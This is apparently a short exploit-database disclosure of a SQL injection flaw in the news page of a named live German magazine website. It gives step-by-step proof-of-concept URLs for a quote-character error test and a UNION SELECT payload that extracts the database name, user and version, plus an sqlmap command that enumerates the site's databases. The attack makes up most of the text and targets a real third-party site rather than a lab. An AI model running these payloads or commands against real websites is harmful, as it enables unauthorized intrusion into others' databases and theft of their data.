|===========================================================================
| # Exploit Title : twilightmag SQL injection Vulnerability
|
| # Author : Ali Seddigh
|
| # Category : Web Application
|
| # Vendor Homepage : https://www.twilightmag.de
|
| # Tested on : [ Windows ~> 10 ]
|
| # Date : 2021-04-05
|===========================================================================
| # Proof of Concept :
| # Step 1 : Go To https://www.twilightmag.de/news-full.php?id=176
| # Step 2 : Test SQL injection Vulnerability with add ( ' ) or ( " ) ~> https://www.twilightmag.de/news-full.php?id=176'
| # Step 3 : It is return SQL error :)
| # Step 4 : Use This Query For Get user,version,database ~> https://www.twilightmag.de/news-full.php?id=-176 union select 1,database(),user(),version(),5,6
|===========================================================================
| # << Tested on Sqlmap >>
| # Example : python sqlmap.py -u "https://www.twilightmag.de/news-full.php?id=176" -p id --dbs
|===========================================================================
| # Discovered By : Ali Triplex
|===========================================================================